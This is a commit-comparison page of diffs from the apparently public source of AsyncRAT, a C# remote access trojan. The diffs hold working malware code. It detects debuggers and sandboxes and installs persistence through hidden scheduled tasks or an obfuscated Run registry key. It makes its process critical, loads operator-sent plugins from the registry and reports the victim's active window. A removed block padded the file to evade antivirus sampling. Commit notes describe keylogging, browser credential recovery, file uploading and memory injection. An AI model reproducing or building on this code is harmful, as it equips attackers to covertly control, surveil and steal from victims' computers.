Compare commits

...

34 Commits

Author SHA1 Message Date
NYAN CAT
0f0cba4ec3 Update Settings.cs 2023-10-17 00:41:08 +03:00
NYAN CAT
547e363b68 Create UnsafeStreamCodec.cs 2023-10-16 17:20:42 +03:00
NYAN CAT
b8101babad Create NativeMethods.cs 2023-10-16 17:20:41 +03:00
NYAN CAT
9049ccc73e Create JpgCompression.cs 2023-10-16 17:20:39 +03:00
NYAN CAT
9206734f4c Update Server.csproj 2023-10-16 17:20:26 +03:00
NYAN CAT
edbcc8441c Update Settings.settings 2023-10-16 17:20:24 +03:00
NYAN CAT
68c7666dc2 Update Settings.Designer.cs 2023-10-16 17:20:22 +03:00
NYAN CAT
b340bcb22e Update AssemblyInfo.cs 2023-10-16 17:20:18 +03:00
NYAN CAT
f1507608df Update packages.config 2023-10-16 17:20:15 +03:00
NYAN CAT
fa59997117 Update HandleRemoteDesktop.cs 2023-10-16 17:20:12 +03:00
NYAN CAT
4ebf319b8c Update HandleFileManager.cs 2023-10-16 17:20:06 +03:00
NYAN CAT
c98cb7a3ea Update FormRemoteDesktop.Designer.cs 2023-10-16 17:19:52 +03:00
NYAN CAT
1aa702e67a Fixed mouse move event 2023-10-16 17:19:48 +03:00
NYAN CAT
fb31f1db99 Update FormBuilder.Designer.cs 2023-10-16 17:19:29 +03:00
NYAN CAT
a7156a7c53 Remove fixed mutex 2023-10-16 17:19:22 +03:00
NYAN CAT
570a6f201f Update App.config 2023-10-16 17:19:11 +03:00
NYAN CAT
1df3645b07 Add native api SetCursorPos for mouse move event 2023-10-16 17:19:06 +03:00
NYAN CAT
5a1da42c76 remove SQLite DLL and update Newtonsoft.Json 2023-10-16 17:18:06 +03:00
NYAN CAT
296eaaa301 Disable buggy Firefox until I update it when I can 2023-10-16 17:17:35 +03:00
NYAN CAT
a895143d30 Update packages.config 2023-10-16 17:16:46 +03:00
NYAN CAT
5937e381f9 update
added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
fixed - mutex
2020-05-10 08:24:12 +03:00
NYAN CAT
10c995be22 update
added - remote dekstop move movements
added - remote desktop showing cursor movements
added - showing active window when client connected immediately
updated - send file to disk will show if the file ran successfully or not
fixed - send file to disk fixed when executing .ps1 file
updated - UAC popup now will run until the user press accept
2020-05-10 08:14:33 +03:00
NYAN CAT
565441b92a update
fixed startup method
PlatformTarget from anycpu to x86
2020-05-04 03:53:36 +03:00
NYAN CAT
59ea9b088b Fixed SYSTEM issue 2020-05-02 16:13:07 +03:00
NYAN CAT
abca238794 Update
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
added group to listview
updated plugin save method
updated runpe send to memory
minor improvements

## NOTE
You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins
2020-04-22 07:17:43 +03:00
NYAN CAT
dfa505e2af Update
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
added group to listview
updated plugin save method
updated runpe send to memory
minor improvements

## NOTE
You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins
2020-04-22 05:24:30 +03:00
NYAN CAT
7af20a25ba Merge branch 'master' of https://github.com/NYAN-x-CAT/AsyncRAT-C-Sharp 2020-04-22 00:53:04 +03:00
NYAN CAT
c542975a12 Update
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
added gorup to listview
updated plugin save method
updated runpe send to memory
minor improvements

## NOTE
You need to create a new stub from this version, and then use your old version to update all your clients, otherwise you won't be able to use the new plugins
2020-04-22 00:52:58 +03:00
NYAN CAT
a21e1327eb
Update ReadMe.txt 2020-04-21 22:01:19 +03:00
NYAN CAT
1e193d7e14 Update
fixed send to disk
fixed keylogger [clipboard] #172
fixed installation
added file searcher [to search and upload any file by it extension]
updated plugin save method
updated runpe send to memory
minor improvements

```diff
- You need to create a new stub from this version, and then use your old version to update all your clients, otherwise you won't be able to use the new plugins
```
2020-04-21 19:48:58 +03:00
NYAN CAT
9f2955979e Update Packet.cs
removed xmr miner
added get active window title
updated chrome recovery
added feature change wallpaper
fixed listview when error occurred
2020-03-26 06:48:09 +03:00
NYAN CAT
fd05091f11 update
removed xmr miner
added get active window title
updated chrome recovery
added feature change wallpaper
2020-03-26 06:38:50 +03:00
NYAN CAT
5224ce28f6 Update
removed xmr miner
added get active  window title
updated chrome recovery
added feature change wallpaper
2020-03-26 06:17:37 +03:00
NYAN CAT
f5abab2be3 Update ReadMe.txt 2020-02-26 01:04:38 +03:00
244 changed files with 5529 additions and 16855 deletions

View File

@ -34,6 +34,12 @@ Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "RemoteDesktop", "Plugin\Rem
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendFile", "Plugin\SendFile\SendFile\SendFile.csproj", "{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SendMemory", "Plugin\SendMemory\SendMemory\SendMemory.csproj", "{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "FileSearcher", "Plugin\FileSearcher\FileSearcher\FileSearcher.csproj", "{9D1D39D8-2387-46ED-A4A8-59D250C97F35}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "MessagePackLib", "MessagePack\MessagePackLib.csproj", "{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
@ -92,6 +98,18 @@ Global
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Debug|Any CPU.Build.0 = Debug|Any CPU
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.ActiveCfg = Release|Any CPU
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE}.Release|Any CPU.Build.0 = Release|Any CPU
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Debug|Any CPU.Build.0 = Debug|Any CPU
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.ActiveCfg = Release|Any CPU
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B}.Release|Any CPU.Build.0 = Release|Any CPU
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Debug|Any CPU.Build.0 = Debug|Any CPU
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.ActiveCfg = Release|Any CPU
{9D1D39D8-2387-46ED-A4A8-59D250C97F35}.Release|Any CPU.Build.0 = Release|Any CPU
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
@ -108,6 +126,8 @@ Global
{619B7612-DFEA-442A-A927-D997F99C497B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{9042B543-13D1-42B3-A5B6-5CC9AD55E150} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{8DE42DA3-BE99-4E7E-A3D2-3F65E7C1ABCE} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{0E423DD6-FAAF-4A66-8828-6A5A5F22269B} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
{9D1D39D8-2387-46ED-A4A8-59D250C97F35} = {0DE8DA5D-061D-4649-8A56-48729CF1F789}
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {B9F2462F-603A-41C4-9CFC-1FAC60B4731C}

View File

@ -1,5 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
<Import Project="..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
@ -45,7 +47,7 @@
<GenerateSerializationAssemblies>Auto</GenerateSerializationAssemblies>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<PlatformTarget>x86</PlatformTarget>
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\Binaries\Release\Stub\</OutputPath>
@ -77,22 +79,16 @@
<ItemGroup>
<Compile Include="Algorithm\Aes256.cs" />
<Compile Include="Algorithm\Sha256.cs" />
<Compile Include="Algorithm\Zip.cs" />
<Compile Include="Handle Packet\Packet.cs" />
<Compile Include="Helper\Anti_Analysis.cs" />
<Compile Include="Helper\CheckMiner.cs" />
<Compile Include="Helper\HwidGen.cs" />
<Compile Include="Helper\IdSender.cs" />
<Compile Include="Helper\Methods.cs" />
<Compile Include="Helper\MutexControl.cs" />
<Compile Include="Helper\NativeMethods.cs" />
<Compile Include="Helper\ProcessCritical.cs" />
<Compile Include="Helper\SetRegistry.cs" />
<Compile Include="Install\NormalStartup.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Settings.cs" />
@ -101,6 +97,8 @@
<ItemGroup>
<None Include="app.config" />
<None Include="app.manifest" />
<None Include="ILMerge.props" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
@ -109,5 +107,23 @@
<Install>false</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<Content Include="ILMergeOrder.txt" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\MessagePack\MessagePackLib.csproj">
<Project>{dc199d9e-cf10-41dd-bbcd-98e71ba8679d}</Project>
<Name>MessagePackLib</Name>
</ProjectReference>
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
<Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
<Error Condition="!Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
</Target>
<Import Project="..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
</Project>

View File

@ -1,6 +1,5 @@
using Client.Handle_Packet;
using Client.Helper;
using Client.MessagePack;
using System;
using System.Diagnostics;
using System.IO;
@ -10,7 +9,7 @@ using System.Net.Security;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Net;
using Client.Algorithm;
using MessagePackLib.MessagePack;
// │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1
@ -32,6 +31,7 @@ namespace Client.Connection
private static object SendSync { get; } = new object(); //Sync send
private static Timer Ping { get; set; } //Send ping interval
public static int Interval { get; set; } //ping value
public static bool ActivatePong { get; set; }
public static void InitializeClient() //Connect & reconnect
@ -93,7 +93,10 @@ namespace Client.Connection
Buffer = new byte[HeaderSize];
Offset = 0;
Send(IdSender.SendInfo());
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 60 * 1000));
Interval = 0;
ActivatePong = false;
KeepAlive = new Timer(new TimerCallback(KeepAlivePacket), null, new Random().Next(10 * 1000, 15 * 1000), new Random().Next(10 * 1000, 15 * 1000));
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
}
else
@ -125,15 +128,15 @@ namespace Client.Connection
public static void Reconnect()
{
try
{
Ping?.Dispose();
KeepAlive?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
Ping?.Dispose();
KeepAlive?.Dispose();
}
catch { }
IsConnected = false;
}
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
@ -213,7 +216,7 @@ namespace Client.Connection
{
try
{
if (!IsConnected || msg == null)
if (!IsConnected)
{
return;
}
@ -234,6 +237,7 @@ namespace Client.Connection
{
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(chunk, 0, read);
SslClient.Flush();
}
}
}
@ -254,19 +258,28 @@ namespace Client.Connection
public static void KeepAlivePacket(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
Send(msgpack.Encode2Bytes());
Ping?.Dispose();
Interval = 0;
Ping = new Timer(new TimerCallback(Pong), null, 1, 1);
GC.Collect();
try
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = Methods.GetActiveWindowTitle();
Send(msgpack.Encode2Bytes());
GC.Collect();
ActivatePong = true;
}
catch { }
}
private static void Pong(object obj)
{
Interval++;
try
{
if (ActivatePong && IsConnected)
{
Interval++;
}
}
catch { }
}
}
}

View File

@ -1,14 +1,13 @@
using Client.Algorithm;
using Client.Helper;
using Client.MessagePack;
using Client.Connection;
using System;
using System.Diagnostics;
using System.Reflection;
using System.Threading;
using System.Collections.Generic;
using Microsoft.VisualBasic;
using System.Linq;
using MessagePackLib.MessagePack;
namespace Client.Handle_Packet
{
@ -25,11 +24,12 @@ namespace Client.Handle_Packet
{
case "pong": //send interval value to server
{
int interval = (int)ClientSocket.Interval;
ClientSocket.ActivatePong = false;
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Packet").SetAsString("pong");
msgPack.ForcePathObject("Message").SetAsInteger(interval);
msgPack.ForcePathObject("Message").SetAsInteger(ClientSocket.Interval);
ClientSocket.Send(msgPack.Encode2Bytes());
ClientSocket.Interval = 0;
break;
}
@ -37,11 +37,7 @@ namespace Client.Handle_Packet
{
try
{
Invoke(unpack_msgpack);
}
catch (Exception ex) // check if plugin is installed
{
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null)
if (SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString) == null) // check if plugin is installed
{
Packs.Add(unpack_msgpack); //save it for later
MsgPack msgPack = new MsgPack();
@ -50,14 +46,18 @@ namespace Client.Handle_Packet
ClientSocket.Send(msgPack.Encode2Bytes());
}
else
Error(ex.Message);
Invoke(unpack_msgpack);
}
catch (Exception ex)
{
Error(ex.Message);
}
break;
}
case "savePlugin": // save plugin as MD5:Base64
case "savePlugin": // save plugin
{
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").AsString);
SetRegistry.SetValue(unpack_msgpack.ForcePathObject("Hash").AsString, unpack_msgpack.ForcePathObject("Dll").GetAsBytes());
Debug.WriteLine("plugin saved");
foreach (MsgPack msgPack in Packs.ToList())
{
@ -79,7 +79,7 @@ namespace Client.Handle_Packet
private static void Invoke(MsgPack unpack_msgpack)
{
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(Convert.FromBase64String(Strings.StrReverse(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)))));
Assembly assembly = AppDomain.CurrentDomain.Load(Zip.Decompress(SetRegistry.GetValue(unpack_msgpack.ForcePathObject("Dll").AsString)));
Type type = assembly.GetType("Plugin.Plugin");
dynamic instance = Activator.CreateInstance(type);
instance.Run(ClientSocket.TcpClient, Settings.ServerCertificate, Settings.Hwid, unpack_msgpack.ForcePathObject("Msgpack").GetAsBytes(), MutexControl.currentApp, Settings.MTX, Settings.BDOS, Settings.Install);

View File

@ -80,7 +80,7 @@ namespace Client.Helper
bool isDebuggerPresent = false;
try
{
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
NativeMethods.CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
}
catch
@ -93,7 +93,7 @@ namespace Client.Helper
{
try
{
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
if (NativeMethods.GetModuleHandle("SbieDll.dll").ToInt32() != 0)
return true;
else
return false;
@ -105,10 +105,5 @@ namespace Client.Helper
}
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
}
}

View File

@ -1,7 +1,6 @@
using Client.MessagePack;
using MessagePackLib.MessagePack;
using Microsoft.VisualBasic.Devices;
using System;
using System.Diagnostics;
using System.IO;
using System.Windows.Forms;
@ -20,11 +19,12 @@ namespace Client.Helper
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
msgpack.ForcePathObject("Version").AsString = Settings.Version;
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
msgpack.ForcePathObject("Performance").AsString = Methods.GetActiveWindowTitle();
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();
msgpack.ForcePathObject("Pong").AsString = "";
msgpack.ForcePathObject("Group").AsString = Settings.Group;
return msgpack.Encode2Bytes();
}
}

View File

@ -5,16 +5,21 @@ using System.Management;
using System.Security.Principal;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using static Client.Helper.NativeMethods;
using System.Text;
using System.IO;
using System.Windows.Forms;
using System.Threading;
namespace Client.Helper
{
static class Methods
{
public static class Methods
{
public static bool IsAdmin()
{
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
}
public static void ClientExit()
public static void ClientOnExit()
{
try
{
@ -61,8 +66,7 @@ namespace Client.Helper
return null;
}
[DllImport("kernel32.dll", SetLastError = true)]
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
public static void PreventSleep()
{
try
@ -72,11 +76,20 @@ namespace Client.Helper
catch { }
}
public enum EXECUTION_STATE : uint
public static string GetActiveWindowTitle()
{
ES_CONTINUOUS = 0x80000000,
ES_DISPLAY_REQUIRED = 0x00000002,
ES_SYSTEM_REQUIRED = 0x00000001
try
{
const int nChars = 256;
StringBuilder buff = new StringBuilder(nChars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, nChars) > 0)
{
return buff.ToString();
}
}
catch { }
return "";
}
}
}

View File

@ -0,0 +1,34 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Client.Helper
{
public static class NativeMethods
{
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
public static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("kernel32.dll")]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags);
public enum EXECUTION_STATE : uint
{
ES_CONTINUOUS = 0x80000000,
ES_DISPLAY_REQUIRED = 0x00000002,
ES_SYSTEM_REQUIRED = 0x00000001
}
[DllImport("ntdll.dll", SetLastError = true)]
public static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
}
}

View File

@ -20,7 +20,7 @@ namespace Client.Helper
{
SystemEvents.SessionEnding += new SessionEndingEventHandler(SystemEvents_SessionEnding);
Process.EnterDebugMode();
RtlSetProcessIsCritical(1, 0, 0);
Helper.NativeMethods.RtlSetProcessIsCritical(1, 0, 0);
}
catch { }
}
@ -28,7 +28,7 @@ namespace Client.Helper
{
try
{
RtlSetProcessIsCritical(0, 0, 0);
NativeMethods.RtlSetProcessIsCritical(0, 0, 0);
}
catch
{
@ -38,10 +38,5 @@ namespace Client.Helper
}
}
}
#region "Native Methods"
[DllImport("ntdll.dll", SetLastError = true)]
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
#endregion
}
}

View File

@ -18,13 +18,13 @@ namespace Client.Helper
* This program is distributed for educational purposes only.
*/
public static bool SetValue(string name, string value)
public static bool SetValue(string name, byte[] value)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID, RegistryKeyPermissionCheck.ReadWriteSubTree))
{
key.SetValue(name, value, RegistryValueKind.ExpandString);
key.SetValue(name, value, RegistryValueKind.Binary);
return true;
}
}
@ -35,14 +35,14 @@ namespace Client.Helper
return false;
}
public static string GetValue(string value)
public static byte[] GetValue(string value)
{
try
{
using (RegistryKey key = Registry.CurrentUser.CreateSubKey(ID))
{
object o = key.GetValue(value);
return (string)o;
return (byte[])o;
}
}
catch (Exception ex)

View File

@ -4,7 +4,6 @@ using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
using System.Threading;
namespace Client.Install
@ -16,14 +15,10 @@ namespace Client.Install
try
{
FileInfo installPath = new FileInfo(Path.Combine(Environment.ExpandEnvironmentVariables(Settings.InstallFolder), Settings.InstallFile));
if (Process.GetCurrentProcess().MainModule.FileName != installPath.FullName) //check if payload is running from installation path
string currentProcess = Process.GetCurrentProcess().MainModule.FileName;
if (currentProcess != installPath.FullName) //check if payload is running from installation path
{
for (int i = 0; i < 10; i++)
{
Thread.Sleep(1000);
}
foreach (Process P in Process.GetProcesses()) //kill any process which shares same path
{
try
@ -33,25 +28,22 @@ namespace Client.Install
}
catch { }
}
if (Methods.IsAdmin()) //if payload is runnign as administrator install schtasks
{
Process proc = new Process
Process.Start(new ProcessStartInfo
{
StartInfo = new ProcessStartInfo
{
FileName = "schtasks.exe",
Arguments = "/create /f /sc ONLOGON /RL HIGHEST /tn " + @"""'" + Path.GetFileNameWithoutExtension(installPath.FullName) + @"""'" + " /tr " + @"""'" + installPath.FullName + @"""'",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
}
};
proc.Start();
FileName = "cmd",
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn " + "\"" + Path.GetFileNameWithoutExtension(installPath.Name) + "\"" + " /tr " + "'" + "\"" + installPath.FullName + "\"" + "' & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
});
}
else
{
using (RegistryKey key = Registry.CurrentUser.OpenSubKey(Strings.StrReverse(@"\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS"), RegistryKeyPermissionCheck.ReadWriteSubTree))
{
key.SetValue(Path.GetFileNameWithoutExtension(installPath.FullName), "\"" + installPath.FullName + "\"");
key.SetValue(Path.GetFileNameWithoutExtension(installPath.Name), "\"" + installPath.FullName + "\"");
}
}
@ -62,16 +54,11 @@ namespace Client.Install
Thread.Sleep(1000);
}
fs = new FileStream(installPath.FullName, FileMode.CreateNew);
byte[] clientExe = File.ReadAllBytes(Process.GetCurrentProcess().MainModule.FileName);
byte[] clientExe = File.ReadAllBytes(currentProcess);
fs.Write(clientExe, 0, clientExe.Length);
//prevent AV from sending sample by increasing the payload size
byte[] junk = new byte[new Random().Next(40 * 1024 * 1000, 50 * 1024 * 1000)];
new Random().NextBytes(junk);
fs.Write(junk, 0, junk.Length);
fs.Dispose();
Methods.ClientExit();
Methods.ClientOnExit();
string batch = Path.GetTempFileName() + ".bat";
using (StreamWriter sw = new StreamWriter(batch))
{
@ -81,6 +68,7 @@ namespace Client.Install
sw.WriteLine("CD " + Path.GetTempPath());
sw.WriteLine("DEL " + "\"" + Path.GetFileName(batch) + "\"" + " /f /q");
}
Process.Start(new ProcessStartInfo()
{
FileName = batch,
@ -89,6 +77,7 @@ namespace Client.Install
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
Environment.Exit(0);
}
}

View File

@ -1,102 +0,0 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

View File

@ -1,938 +0,0 @@
/*
* DecodeFormFile函数
* 2015-07-14 16:31:32
*
* ForcePathObject查找不到子对象的bug,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 16:32:13
*
* 1270,(Putree 274638001<spiritring@gmail.com>)
* 2015-07-14 15:28:45
*/
using Client.Algorithm;
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Client.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
